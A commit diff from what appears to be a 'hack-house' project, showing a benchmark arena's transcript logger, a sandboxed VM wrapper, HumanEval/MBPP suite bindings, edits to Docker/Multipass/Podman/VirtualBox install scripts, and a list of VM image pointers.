ev = Event(ts=round(time.time() - self._t0, 3), kind=kind, phase=phase,
actor=actor, payload=payload or {}, role=role, model=model,
tokens=tokens or {})
self.events.append(ev)
return ev
# convenience emitters --------------------------------------------------
def message(self, phase, actor, text, *, role="", model="", tokens=None):
return self.add(KIND_MESSAGE, phase, actor, {"text": text},
role=role, model=model, tokens=tokens)
def phase_change(self, phase, note=""):
return self.add(KIND_PHASE, phase, "referee", {"note": note})
def tool(self, phase, actor, payload, *, role=""):
return self.add(KIND_TOOL, phase, actor, payload, role=role)
def acl(self, phase, payload):
return self.add(KIND_ACL, phase, "referee", payload)
def guard(self, phase, actor, payload):
return self.add(KIND_GUARD, phase, actor, payload)
# tokens accounting -----------------------------------------------------
def total_tokens(self) -> dict[str, int]:
agg = {"in": 0, "out": 0}
for ev in self.events:
agg["in"] += ev.tokens.get("in", 0)
agg["out"] += ev.tokens.get("out", 0)
return agg
# persistence -----------------------------------------------------------
def to_dict(self) -> dict:
return {"team": self.team, "challenge": self.challenge,
"manifest": self.manifest,
"tokens_total": self.total_tokens(),
"events": [asdict(e) for e in self.events]}
def save(self, path: str | Path) -> Path:
p = Path(path)
p.parent.mkdir(parents=True, exist_ok=True)
p.write_text(json.dumps(self.to_dict(), indent=2))
return p
@classmethod
def load(cls, path: str | Path) -> "Transcript":
data = json.loads(Path(path).read_text())
t = cls(data["team"], data["challenge"], data.get("manifest", {}))
t.events = [Event(**e) for e in data["events"]]
return t
def replay(path: str | Path, *, show_tools: bool = True) -> None:
"""Re-render a saved transcript as a readable room log for audit."""
t = Transcript.load(path)
print("=" * 76)
print(f"replay · team={t.team} · challenge={t.challenge}")
m = t.manifest
if m:
print(f" models={m.get('models')} seed={m.get('seed')} "
f"budget={m.get('budget')}")
print("-" * 76)
for ev in t.events:
stamp = f"[{ev.ts:7.2f}s {ev.phase:<10}]"
if ev.kind == KIND_PHASE:
print(f"{stamp} ── phase: {ev.phase} {ev.payload.get('note', '')}")
elif ev.kind == KIND_MESSAGE:
print(f"{stamp} {ev.actor}({ev.role}): {ev.payload.get('text', '')}")
elif ev.kind == KIND_AGENT:
print(f"{stamp} ~ {ev.actor} infer ({ev.model}) "
f"tok={ev.tokens.get('out', 0)}")
elif ev.kind == KIND_ACL:
print(f"{stamp} ⚿ acl {ev.payload}")
elif ev.kind == KIND_GUARD:
print(f"{stamp} ⛨ guard {ev.payload}")
elif ev.kind == KIND_TOOL and show_tools:
p = ev.payload
print(f"{stamp} ⛧ {ev.actor} tool rc={p.get('rc')} "
f"{p.get('label', '')}")
out = (p.get("out") or "").strip()
if out:
for line in out.splitlines()[:8]:
print(f"{'':>22}| {line}")
print("-" * 76)
print(f"{len(t.events)} events · tokens={t.total_tokens()}")
print("=" * 76)
hh/scripts/bench/olympics/vm.py
+56
View File
@@ -0,0 +1,56 @@
"""Per-team isolated workspace — a thin wrapper over ``bench/runtime.py``.
The arena's IMPLEMENT/TEST phases run candidate code here. M1 reuses the
existing ``PodmanRuntime`` (rootless, ``--network=none``, memory/pid caps — the
"container floor" of SPEC §12) with a ``LocalRuntime`` fallback. Stronger tiers
(gVisor, Kata/Firecracker microVMs, hosted sandboxes) are the documented upgrade
path and slot in behind this same interface without touching the loop.
A ``VM`` also keeps the last source it ran so SUBMIT can freeze the artifact for
the judge package (the "final VM state" of SPEC §10).
"""
from __future__ import annotations
from dataclasses import dataclass, field
from ..langs import Lang
from ..runtime import Exec, get_runtime
@dataclass
class RunResult:
ok: bool
rc: int | None
out: str
note: str = ""
@dataclass
class VM:
lang: Lang
runtime_kind: str = "auto" # auto | podman | local
_last_source: str = ""
_runs: list[dict] = field(default_factory=list)
def __post_init__(self):
self._rt = get_runtime(self.runtime_kind, self.lang)
@property
def runtime_name(self) -> str:
return self._rt.name
def run(self, source: str, timeout: float = 30.0,
*, label: str = "") -> RunResult:
"""Execute one self-contained program; exit 0 == all asserts passed."""
self._last_source = source
ex: Exec = self._rt.run(self.lang, source, timeout)
self._runs.append({"label": label, "rc": ex.rc, "ok": ex.ok,
"out": ex.out, "note": ex.note})
return RunResult(ex.ok, ex.rc, ex.out, ex.note)
# ── submission artifact (frozen final state for the judge) ────────────
def freeze(self) -> dict:
return {"language": self.lang.id, "filename": self.lang.filename,
"source": self._last_source, "runtime": self.runtime_name,
"run_count": len(self._runs)}
hh/scripts/bench/suites.py
+133
View File
@@ -0,0 +1,133 @@
"""Problem suites: HumanEval and MBPP.
A *suite* is a set of per-language bindings. Each Binding tells the harness the
three things the dataset's *format* dictates:
• build_prompt(row) -> text fed to the model (raw continuation)
• stop_tokens(row) -> where to cut the completion
• assemble(prompt, completion, row) -> runnable program (exit 0 == all tests pass)
The language's *execution* side (filename, run command, podman image) stays in
langs.py and is shared across suites — only the problem source/format changes
here. Adding a suite is a single table entry, mirroring how adding a language is
a single entry in langs.py.
Two dataset formats appear:
• MultiPL-E (nuprl/MultiPL-E, every `*-{js,go,rs,sh}` config, both suites): the
`prompt` field is a runnable function *prefix*, so the program is
prompt+completion+tests verbatim (_concat) and the model is simply asked to
continue `prompt`.
• MBPP-Python (google-research-datasets/mbpp): the problem is a natural-language
`text` description plus a `test_list` of asserts — NOT a code prefix. So the
generation prompt is synthesised (description + example asserts as a docstring)
and the program is completion+setup+asserts (the NL prompt is discarded).
• HumanEval-Python (openai/openai_humaneval): native HumanEval, prompt is a
function prefix, tests are a `check(fn)` def (langs._python).
"""
from __future__ import annotations
import ast
from dataclasses import dataclass
from typing import Callable
from .langs import LANGS, _concat, resolve
@dataclass(frozen=True)
class Binding:
dataset: str
config: str
build_prompt: Callable[[dict], str]
assemble: Callable[[str, str, dict], str]
stop_tokens: Callable[[dict], list[str]]
# ── shared format helpers ────────────────────────────────────────────────────
def _prompt_field(row: dict) -> str:
"""MultiPL-E / HumanEval: the runnable function prefix is the prompt."""
return row["prompt"]
def _parse_stop(row: dict) -> list[str]:
"""MultiPL-E ships stop_tokens as a list or a stringified list."""
raw = row.get("stop_tokens")
if isinstance(raw, list):
return raw
if isinstance(raw, str):
try:
v = ast.literal_eval(raw)
return v if isinstance(v, list) else []
except (ValueError, SyntaxError):
return []
return []
# ── MBPP-Python format (description + asserts, no code prefix) ────────────────
# Cut as soon as the model leaves the function body for its own tests/output, so
# only the candidate implementation survives into the assembled program.
_MBPP_PY_STOP = ["\nassert", "\nprint(", "\n# Test", "\nif __name__", '\n"""']
def _mbpp_py_prompt(row: dict) -> str:
"""Frame the NL task + example asserts as a leading docstring so a raw
(non-chat) instruct model continues with the function definition."""
asserts = "\n".join(row.get("test_list", []))
return f'"""\n{row.get("text", "").strip()}\n\n{asserts}\n"""\n'
def _mbpp_py_assemble(prompt: str, completion: str, row: dict) -> str:
"""Program = setup + the model's code + the held-out asserts. The NL prompt
is *not* part of the program (unlike HumanEval, where it is the prefix)."""
setup = row.get("test_setup_code", "") or ""
asserts = "\n".join(row.get("test_list", []))
return f"{setup}\n{completion}\n{asserts}\n"
def _mbpp_py_stop(row: dict) -> list[str]:
return _MBPP_PY_STOP
# ── suite tables ─────────────────────────────────────────────────────────────
def _humaneval_binding(lang_id: str) -> Binding:
"""HumanEval reuses each language's existing langs.py dataset/config/assemble
(the registry already encodes the HumanEval format)."""
L = LANGS[lang_id]
return Binding(L.dataset, L.config, _prompt_field, L.assemble, _parse_stop)
_MBPP: dict[str, Binding] = {
"python": Binding("google-research-datasets/mbpp", "full",
_mbpp_py_prompt, _mbpp_py_assemble, _mbpp_py_stop),
"javascript": Binding("nuprl/MultiPL-E", "mbpp-js",
_prompt_field, _concat, _parse_stop),
"go": Binding("nuprl/MultiPL-E", "mbpp-go",
_prompt_field, _concat, _parse_stop),
"rust": Binding("nuprl/MultiPL-E", "mbpp-rs",
_prompt_field, _concat, _parse_stop),
"bash": Binding("nuprl/MultiPL-E", "mbpp-sh",
_prompt_field, _concat, _parse_stop),
}
SUITES = {
"humaneval": "HumanEval (function-completion)",
"mbpp": "MBPP (Mostly Basic Programming Problems)",
}
def binding(suite: str, language: str) -> Binding:
"""Resolve the (suite, language) -> Binding the harness should run."""
lang_id = resolve(language).id
s = suite.lower()
if s == "humaneval":
return _humaneval_binding(lang_id)
if s == "mbpp":
if lang_id not in _MBPP:
raise KeyError(f"suite 'mbpp' has no binding for {lang_id!r}; "
f"have: {', '.join(_MBPP)}")
return _MBPP[lang_id]
raise KeyError(f"unknown suite {suite!r}; known: {', '.join(SUITES)}")
hh/scripts/bootstrap-ai.sh
+4 -8
View File
@@ -8,10 +8,6 @@
#
# The baseline is untouched: ./bootstrap.sh alone never installs or enables AI.
#
# The /ai agent's sandbox `!task` harness runs host-side (native tool-calling /
# one-shot injector) and needs no extra binary, so this script installs nothing
# beyond Ollama + the model.
#
# usage:
# ./bootstrap-ai.sh # baseline setup + Ollama + default model
# ./bootstrap-ai.sh --release # ...and build the client in release mode
@@ -36,10 +32,10 @@ ASSUME_YES=0
AI_ONLY=0
for arg in "$@"; do
case "$arg" in
--release) RELEASE_ARGS+=(--release) ;;
--check) CHECK_ONLY=1 ;;
--yes|-y) ASSUME_YES=1 ;;
--ai-only) AI_ONLY=1 ;;
--release) RELEASE_ARGS+=(--release) ;;
--check) CHECK_ONLY=1 ;;
--yes|-y) ASSUME_YES=1 ;;
--ai-only) AI_ONLY=1 ;;
-h|--help|-help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "✖ unknown arg: $arg (try --release / --check / --yes / --ai-only / --help)" >&2; exit 2 ;;
esac
hh/scripts/bootstrap.sh
+1 -1
View File
@@ -49,7 +49,7 @@ for bin in python3 cargo; do
if have "$bin"; then echo " ✓ $bin ($($bin --version 2>&1 | head -1))"
else echo " ✖ $bin — REQUIRED"; missing=1; fi
done
for bin in tmux docker podman multipass direnv; do
for bin in tmux docker multipass direnv; do
if have "$bin"; then echo " ✓ $bin (optional)"
else echo " · $bin not found (optional)"; fi
done
hh/scripts/connect.sh
+3 -3
View File
@@ -57,7 +57,7 @@ HOST="${HOST:-$DEFAULT_HOST}"
# No password yet? Prompt with no echo — straight into RAM, out of history.
if [[ -z "$PASSWORD" ]]; then
read -rsp "† room password: " PASSWORD < /dev/tty
read -rsp "⛧ room password: " PASSWORD < /dev/tty
echo
fi
[[ -n "$PASSWORD" ]] || { echo "✖ a password is required" >&2; exit 1; }
@@ -71,7 +71,7 @@ if [[ "$SYNC" -eq 1 ]]; then
TO=""; command -v timeout >/dev/null 2>&1 && TO="timeout 10"
for remote in gitea origin; do
if git remote get-url "$remote" >/dev/null 2>&1; then
echo "† syncing $BRANCH from $remote…" >&2
echo "⛧ syncing $BRANCH from $remote…" >&2
GIT_TERMINAL_PROMPT=0 $TO git pull --ff-only "$remote" "$BRANCH" 2>&1 \
|| echo " (skipped — couldn't fast-forward from $remote/$BRANCH)" >&2
fi
@@ -83,7 +83,7 @@ fi
# runs a prebuilt binary as-is (handy for remote joiners without a toolchain),
# preferring release, then debug.
if [[ "$NO_BUILD" -eq 0 ]]; then
echo "† building client (use --no-build to skip)…" >&2
echo "⛧ building client (use --no-build to skip)…" >&2
cargo build --quiet || { echo "✖ build failed" >&2; exit 1; }
BIN=./target/debug/hack-house
else
hh/scripts/ensure-docker.sh
+15 -39
View File
@@ -23,16 +23,12 @@ ASSUME_YES=0
CHECK_ONLY=0
DO_INSTALL=0
PLAN_ONLY=0
STDIN_PASS=0
for arg in "$@"; do
case "$arg" in
-y|--yes) ASSUME_YES=1 ;;
--check) CHECK_ONLY=1 ;;
--install) DO_INSTALL=1 ;;
--plan|--dry-run) PLAN_ONLY=1; DO_INSTALL=1 ;;
# A sudo password is waiting on stdin (the hack-house TUI feeds it). Use
# `sudo -S` so escalation reads that, never the controlling tty.
--stdin-pass) STDIN_PASS=1 ;;
-h|--help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "✖ unknown arg: $arg" >&2; exit 2 ;;
esac
@@ -41,18 +37,6 @@ done
daemon_up() { docker info >/dev/null 2>&1; }
have_docker() { command -v docker >/dev/null 2>&1; }
# How to escalate. Three cases:
# * --stdin-pass: a password is waiting on stdin (the hack-house TUI prompted
# for it). Use `sudo -S -p ''` so sudo reads it from stdin with no prompt —
# never the controlling tty (a raw-mode TUI would corrupt a tty prompt). The
# first sudo caches the credential; the rest authenticate from cache.
# * --yes alone: non-interactive `sudo -n` — fails fast if creds aren't cached
# rather than hanging on a tty prompt the TUI can't host.
# * interactive shell: plain `sudo` (a real terminal can prompt normally).
SUDO="sudo"
[[ $ASSUME_YES -eq 1 ]] && SUDO="sudo -n"
[[ $STDIN_PASS -eq 1 ]] && SUDO="sudo -S -p ''"
# ── Work out how to install Docker on this platform ──────────────────────────
# Emits the ordered list of commands (one per line) to PLAN_LINES; empty if we
# don't know how. Uses Docker's official repo so packages are GPG-verified and
@@ -70,28 +54,28 @@ build_install_plan() {
*debian*|*ubuntu*)
local repo="ubuntu"; [[ "$id" == "debian" ]] && repo="debian"
PLAN_LINES=$(cat <<EOF
$SUDO apt-get update
$SUDO apt-get install -y ca-certificates curl
$SUDO install -m 0755 -d /etc/apt/keyrings
$SUDO curl -fsSL https://download.docker.com/linux/$repo/gpg -o /etc/apt/keyrings/docker.asc
$SUDO chmod a+r /etc/apt/keyrings/docker.asc
echo "deb [arch=\$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/$repo \$(. /etc/os-release && echo \${VERSION_CODENAME}) stable" | $SUDO tee /etc/apt/sources.list.d/docker.list >/dev/null
$SUDO apt-get update
$SUDO apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo apt-get update
sudo apt-get install -y ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/$repo/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
echo "deb [arch=\$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/$repo \$(. /etc/os-release && echo \${VERSION_CODENAME}) stable" | sudo tee /etc/apt/sources.list.d/docker.list >/dev/null
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
EOF
)
;;
*fedora*|*rhel*|*centos*)
local repo="fedora"; case " $id $id_like " in *rhel*|*centos*) repo="centos";; esac
PLAN_LINES=$(cat <<EOF
$SUDO dnf -y install dnf-plugins-core
$SUDO dnf config-manager --add-repo https://download.docker.com/linux/$repo/docker-ce.repo
$SUDO dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo dnf -y install dnf-plugins-core
sudo dnf config-manager --add-repo https://download.docker.com/linux/$repo/docker-ce.repo
sudo dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
EOF
)
;;
*arch*)
PLAN_LINES="$SUDO pacman -S --noconfirm docker"
PLAN_LINES="sudo pacman -S --noconfirm docker"
;;
esac
}
@@ -153,15 +137,7 @@ start_cmd=""
need_sudo=0
case "$(uname -s)" in
Linux)
# Docker Desktop on Linux runs the engine inside a per-user VM, started
# by the *user* unit `docker-desktop.service` — there is no root
# `docker.service`, and no sudo is needed. Detect it first so we don't
# `sudo systemctl start docker` and fail with "Unit docker.service could
# not be found" (which is exactly what the classic-engine path does here).
if command -v systemctl >/dev/null 2>&1 \
&& systemctl --user cat docker-desktop.service >/dev/null 2>&1; then
start_cmd="systemctl --user start docker-desktop"; need_sudo=0
elif command -v systemctl >/dev/null 2>&1; then
if command -v systemctl >/dev/null 2>&1; then
start_cmd="systemctl start docker"; need_sudo=1
elif command -v service >/dev/null 2>&1; then
start_cmd="service docker start"; need_sudo=1
@@ -177,7 +153,7 @@ if [[ -z "$start_cmd" ]]; then
echo "✖ don't know how to start the docker daemon here — start it manually" >&2
exit 1
fi
[[ $need_sudo -eq 1 ]] && start_cmd="$SUDO $start_cmd"
[[ $need_sudo -eq 1 ]] && start_cmd="sudo $start_cmd"
# Confirmation (skipped with --yes).
if [[ $ASSUME_YES -ne 1 ]]; then
@@ -190,7 +166,7 @@ if [[ $ASSUME_YES -ne 1 ]]; then
fi
echo "starting docker daemon: $start_cmd" >&2
eval "$start_cmd" || { echo "✖ failed to start docker daemon — needs sudo. Run 'sudo -v' in a terminal first (caches your password), then retry" >&2; exit 1; }
eval "$start_cmd" || { echo "✖ failed to start docker daemon (sudo password needed? run it in a terminal)" >&2; exit 1; }
# Wait for it to accept connections (Desktop / a fresh VM can take a while).
for _ in $(seq 1 60); do
hh/scripts/ensure-multipass.sh
+1 -15
View File
@@ -14,35 +14,21 @@
# ./ensure-multipass.sh --yes # install without prompting
# ./ensure-multipass.sh --check # test only; exit 0 if present, 1 if missing
# ./ensure-multipass.sh --plan # show the install plan; change nothing
# ./ensure-multipass.sh --stdin-pass # read a sudo password from stdin (sudo -S)
set -uo pipefail
ASSUME_YES=0
CHECK_ONLY=0
PLAN_ONLY=0
STDIN_PASS=0
for arg in "$@"; do
case "$arg" in
-y|--yes) ASSUME_YES=1 ;;
--check) CHECK_ONLY=1 ;;
--plan|--dry-run) PLAN_ONLY=1 ;;
# A sudo password is waiting on stdin (the hack-house TUI feeds it). Use
# `sudo -S` so escalation reads that, never the controlling tty.
--stdin-pass) STDIN_PASS=1 ;;
-h|--help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "✖ unknown arg: $arg" >&2; exit 2 ;;
esac
done
# How to escalate (mirrors ensure-docker.sh):
# * --stdin-pass: a password is on stdin → `sudo -S -p ''` (reads stdin, never
# the tty; a raw-mode TUI would corrupt a tty prompt). First sudo caches it.
# * --yes alone: `sudo -n` — fails fast if creds aren't cached, never hangs.
# * interactive shell: plain `sudo` (a real terminal can prompt normally).
SUDO="sudo"
[[ $ASSUME_YES -eq 1 ]] && SUDO="sudo -n"
[[ $STDIN_PASS -eq 1 ]] && SUDO="sudo -S -p ''"
installed() { command -v multipass >/dev/null 2>&1 && multipass version >/dev/null 2>&1; }
mp_version() { multipass version 2>/dev/null | head -1; }
@@ -92,7 +78,7 @@ if [[ -z "$install_cmd" ]]; then
echo "✖ don't know how to install Multipass here — get it from https://multipass.run/install" >&2
exit 1
fi
[[ $need_sudo -eq 1 ]] && install_cmd="$SUDO $install_cmd"
[[ $need_sudo -eq 1 ]] && install_cmd="sudo $install_cmd"
[[ -n "$manual_note" ]] && echo "ⓘ $manual_note" >&2
# --plan: show the real plan and change nothing.
hh/scripts/ensure-podman.sh
-148
View File
@@ -1,148 +0,0 @@
#!/usr/bin/env bash
# ensure-podman.sh — make sure Podman is installed before /sbx launch podman.
#
# Detect-first, never silent: if Podman is already present this exits 0 and
# changes nothing. If it's missing it prints the EXACT command it would run and
# only installs with explicit consent (--yes). --plan shows a real, no-change
# plan so you can see what would be fetched.
#
# Podman is daemonless and rootless, so unlike Docker there's no daemon to start
# and no service to enable. The one rootless prerequisite is a subuid/subgid
# range for the current user (so the container can map a user namespace); this
# script checks for it and prints how to add one if it's missing, but never edits
# those files for you (they're security-sensitive and usually pre-seeded).
#
# usage:
# ./ensure-podman.sh # interactive: prompt before installing
# ./ensure-podman.sh --yes # install without prompting
# ./ensure-podman.sh --check # test only; exit 0 if present, 1 if missing
# ./ensure-podman.sh --plan # show the install plan; change nothing
# ./ensure-podman.sh --stdin-pass # read a sudo password from stdin (sudo -S)
set -uo pipefail
ASSUME_YES=0
CHECK_ONLY=0
PLAN_ONLY=0
STDIN_PASS=0
for arg in "$@"; do
case "$arg" in
-y|--yes) ASSUME_YES=1 ;;
--check) CHECK_ONLY=1 ;;
--plan|--dry-run) PLAN_ONLY=1 ;;
# A sudo password is waiting on stdin (the hack-house TUI feeds it). Use
# `sudo -S` so escalation reads that, never the controlling tty.
--stdin-pass) STDIN_PASS=1 ;;
-h|--help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "✖ unknown arg: $arg" >&2; exit 2 ;;
esac
done
# How to escalate (mirrors ensure-docker.sh):
# * --stdin-pass: a password is on stdin → `sudo -S -p ''` (reads stdin, never
# the tty; a raw-mode TUI would corrupt a tty prompt). First sudo caches it.
# * --yes alone: `sudo -n` — fails fast if creds aren't cached, never hangs.
# * interactive shell: plain `sudo` (a real terminal can prompt normally).
SUDO="sudo"
[[ $ASSUME_YES -eq 1 ]] && SUDO="sudo -n"
[[ $STDIN_PASS -eq 1 ]] && SUDO="sudo -S -p ''"
installed() { command -v podman >/dev/null 2>&1 && podman --version >/dev/null 2>&1; }
pm_version() { podman --version 2>/dev/null | head -1; }
# Warn (don't fix) if the current user has no subuid/subgid range — rootless
# Podman needs one to map a user namespace. Most distros seed it on user
# creation; if it's absent the user adds it once with usermod.
check_rootless_preflight() {
local u="${USER:-$(id -un)}"
if ! grep -q "^${u}:" /etc/subuid 2>/dev/null || ! grep -q "^${u}:" /etc/subgid 2>/dev/null; then
echo "ⓘ rootless preflight: no subuid/subgid range for '$u'." >&2
echo " add one once with: sudo usermod --add-subuids 100000-165535 --add-subgids 100000-165535 $u" >&2
fi
}
# Already present: report, run the preflight, and stop (idempotent). --plan still
# prints the plan.
if installed; then
if [[ $PLAN_ONLY -ne 1 ]]; then
if [[ $CHECK_ONLY -ne 1 ]]; then
echo "Podman already installed ($(pm_version)) — nothing to do" >&2
check_rootless_preflight
fi
exit 0
fi
fi
[[ $CHECK_ONLY -eq 1 ]] && exit 1
# Work out how to install on this platform, and the matching no-change plan cmd.
install_cmd=""
plan_cmd=""
need_sudo=0
manual_note=""
case "$(uname -s)" in
Linux)
if command -v apt-get >/dev/null 2>&1; then
# Wrapped in `sh -c` so a single `$SUDO …` escalation covers BOTH the
# update and the install (a bare `$SUDO a && b` would only sudo `a`).
install_cmd="sh -c 'apt-get update && apt-get install -y podman'"
plan_cmd="apt-cache policy podman"
need_sudo=1
elif command -v dnf >/dev/null 2>&1; then
install_cmd="dnf install -y podman"
plan_cmd="dnf info podman"
need_sudo=1
elif command -v pacman >/dev/null 2>&1; then
install_cmd="pacman -S --noconfirm podman"
plan_cmd="pacman -Si podman"
need_sudo=1
fi
;;
Darwin)
if command -v brew >/dev/null 2>&1; then
install_cmd="brew install podman"
plan_cmd="brew info podman"
manual_note="macOS: after install run 'podman machine init && podman machine start' once."
fi
;;
MINGW*|MSYS*|CYGWIN*)
if command -v winget >/dev/null 2>&1; then
install_cmd="winget install -e --id RedHat.Podman"
plan_cmd="winget show -e --id RedHat.Podman"
fi
;;
esac
if [[ -z "$install_cmd" ]]; then
echo "✖ don't know how to install Podman here — get it from https://podman.io/docs/installation" >&2
exit 1
fi
[[ $need_sudo -eq 1 ]] && install_cmd="$SUDO $install_cmd"
[[ -n "$manual_note" ]] && echo "ⓘ $manual_note" >&2
# --plan: show the real plan and change nothing.
if [[ $PLAN_ONLY -eq 1 ]]; then
echo "plan (no changes will be made): $plan_cmd" >&2
eval "$plan_cmd"
exit 0
fi
# Confirmation (skipped with --yes).
if [[ $ASSUME_YES -ne 1 ]]; then
printf 'Podman is not installed. Install it with "%s"? [y/N] ' "$install_cmd" >&2
read -r reply
case "$reply" in
y|Y|yes|YES) ;;
*) echo "✖ aborted — Podman left uninstalled" >&2; exit 1 ;;
esac
fi
echo "installing Podman: $install_cmd" >&2
eval "$install_cmd" || { echo "✖ install failed (sudo password needed? run it in a terminal)" >&2; exit 1; }
# Confirm the binary is now callable, then run the rootless preflight.
if installed; then
echo "Podman is ready ($(pm_version))" >&2
check_rootless_preflight
exit 0
fi
echo "✖ install ran but podman is still not callable — check the install log" >&2
exit 1
hh/scripts/ensure-vbox.sh
+1 -17
View File
@@ -12,35 +12,21 @@
# ./ensure-vbox.sh --yes # install without prompting (used by --install)
# ./ensure-vbox.sh --check # test only; exit 0 if present, 1 if missing
# ./ensure-vbox.sh --plan # show the install/download plan; change nothing
# ./ensure-vbox.sh --stdin-pass # read a sudo password from stdin (sudo -S)
set -uo pipefail
ASSUME_YES=0
CHECK_ONLY=0
PLAN_ONLY=0
STDIN_PASS=0
for arg in "$@"; do
case "$arg" in
-y|--yes) ASSUME_YES=1 ;;
--check) CHECK_ONLY=1 ;;
--plan|--dry-run) PLAN_ONLY=1 ;;
# A sudo password is waiting on stdin (the hack-house TUI feeds it). Use
# `sudo -S` so escalation reads that, never the controlling tty.
--stdin-pass) STDIN_PASS=1 ;;
-h|--help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
*) echo "✖ unknown arg: $arg" >&2; exit 2 ;;
esac
done
# How to escalate (mirrors ensure-docker.sh):
# * --stdin-pass: a password is on stdin → `sudo -S -p ''` (reads stdin, never
# the tty; a raw-mode TUI would corrupt a tty prompt). First sudo caches it.
# * --yes alone: `sudo -n` — fails fast if creds aren't cached, never hangs.
# * interactive shell: plain `sudo` (a real terminal can prompt normally).
SUDO="sudo"
[[ $ASSUME_YES -eq 1 ]] && SUDO="sudo -n"
[[ $STDIN_PASS -eq 1 ]] && SUDO="sudo -S -p ''"
# HH_VBOX_FORCE_MISSING=1 lets a demo exercise the missing→install path without
# actually uninstalling anything (the probe is the single source of truth).
installed() {
@@ -102,9 +88,7 @@ if [[ -z "$install_cmd" ]]; then
echo "✖ don't know how to install VirtualBox here — get it from https://www.virtualbox.org/wiki/Downloads" >&2
exit 1
fi
[[ $need_sudo -eq 1 ]] && install_cmd="$SUDO $install_cmd"
# The plan path is only ever run interactively (the TUI never asks for --plan), so
# a plain `sudo` tty prompt is fine there.
[[ $need_sudo -eq 1 ]] && install_cmd="sudo $install_cmd"
[[ $plan_sudo -eq 1 ]] && plan_cmd="sudo $plan_cmd"
# Secure Boot needs the vboxdrv kernel module signed/enrolled (MOK) or it won't
hh/scripts/host-house.sh
+1 -1
View File
@@ -124,7 +124,7 @@ ensure_branch() {
echo " commit/stash first, or run with BRANCH= to build '$cur' as-is." >&2
exit 2
fi
echo "† switching $cur → $BRANCH before build"
echo "⛧ switching $cur → $BRANCH before build"
git -C "$ROOT" switch "$BRANCH" || { echo "✖ couldn't switch to '$BRANCH'" >&2; exit 2; }
}
hh/scripts/host-room.sh
+1 -1
View File
@@ -132,7 +132,7 @@ LAN_IP="$(ip -4 -o addr show scope global 2>/dev/null | awk '{print $4}' | cut -
JOIN_IP="${TS_IP:-${LAN_IP:-$HOST}}"
echo "═══════════════════════════════════════════════"
echo " † hack-house room — $PROTO://$HOST:$PORT"
echo " ⛧ hack-house room — $PROTO://$HOST:$PORT"
echo "═══════════════════════════════════════════════"
[[ -n "$TS_IP" ]] && echo " tailscale : $TS_IP (recommended — encrypted)"
[[ -n "$LAN_IP" ]] && echo " lan : $LAN_IP"
hh/scripts/sandbox-bootstrap.sh
-4
View File
@@ -50,9 +50,5 @@ if ! apt-get install -y --no-install-recommends $PKGS; then
done
fi
# No in-sandbox agentic harness is installed here: the native `!task` harness
# runs the model host-side and only execs commands into this sandbox, so nothing
# extra needs to live in the container.
mkdir -p "$(dirname "$SENTINEL")"
date -u +%FT%TZ > "$SENTINEL" # mark done; skip on the next provision pass
hh/scripts/vbox-library.json
-111
View File
@@ -1,111 +0,0 @@
{
"_comment": "hack-house VirtualBox VM library. Pointers ONLY — no images are bundled in the repo (they are multi-GB). When a VM is chosen, it is built locally on the caller's own machine by scripts/vbox-library.sh. 'kind' decides how: iso = download installer ISO + create VM + boot the installer; cloudimg = delegate to vbox-new.sh (cloud-init, fully unattended); ova = download + VBoxManage import; manual = pointer-only (licence/availability prevents auto-build). Direct 'url' values are best-effort and version-pinned: when one 404s the script falls back to the 'page' and lets you supply a local file with --iso. Update versions here over time.",
"version": 1,
"vms": [
{
"id": "windows-11",
"name": "Windows 11",
"os": "Windows 11 x64",
"size": "~25 GB installed",
"kind": "iso",
"ostype": "Windows11_64",
"url": "",
"page": "https://www.microsoft.com/software-download/windows11",
"cpus": 4,
"mem_mb": 8192,
"disk_gb": 64,
"efi": true,
"tpm": "2.0",
"notes": "Microsoft serves the ISO behind a session-gated page, so there is no stable direct link. Download it from the page, then build locally with: /sbx vmlib windows-11 install --iso <path-to-Win11.iso>. The VM is created with EFI firmware + a TPM 2.0 device + Secure Boot so Setup accepts it."
},
{
"id": "macos-sonoma",
"name": "macOS Sonoma",
"os": "macOS 14 (Sonoma)",
"size": "~40 GB installed",
"kind": "manual",
"ostype": "MacOS_64",
"url": "",
"page": "https://github.com/kholia/OSX-KVM",
"cpus": 4,
"mem_mb": 8192,
"disk_gb": 80,
"notes": "Apple's licence permits macOS only on Apple-branded hardware, and the installer is not redistributable, so this cannot be auto-built. Follow the OSX-KVM project (or Docker-OSX / sosumi) on the page to assemble an image yourself, then import it with /sbx vbox <name>."
},
{
"id": "kali-linux",
"name": "Kali Linux",
"os": "Debian-based · pentest",
"size": "~4 GB",
"kind": "iso",
"ostype": "Debian_64",
"version": "2024.4",
"url": "https://cdimage.kali.org/kali-2024.4/kali-linux-2024.4-installer-amd64.iso",
"page": "https://www.kali.org/get-kali/#kali-installer-images",
"cpus": 2,
"mem_mb": 4096,
"disk_gb": 30,
"notes": "The flagship offensive-security distro. Default live creds kali/kali; the installer ISO sets your own during setup."
},
{
"id": "parrot-security",
"name": "Parrot Security OS",
"os": "Debian-based · pentest",
"size": "~5 GB",
"kind": "iso",
"ostype": "Debian_64",
"version": "6.2",
"url": "https://deb.parrot.sh/parrot/iso/6.2/Parrot-security-6.2_amd64.iso",
"page": "https://parrotsec.org/download/",
"cpus": 2,
"mem_mb": 4096,
"disk_gb": 30,
"notes": "Privacy/pentest distro, a lighter-weight alternative to Kali."
},
{
"id": "ubuntu-2404",
"name": "Ubuntu 24.04 LTS",
"os": "Ubuntu Server x64",
"size": "~2 GB base",
"kind": "cloudimg",
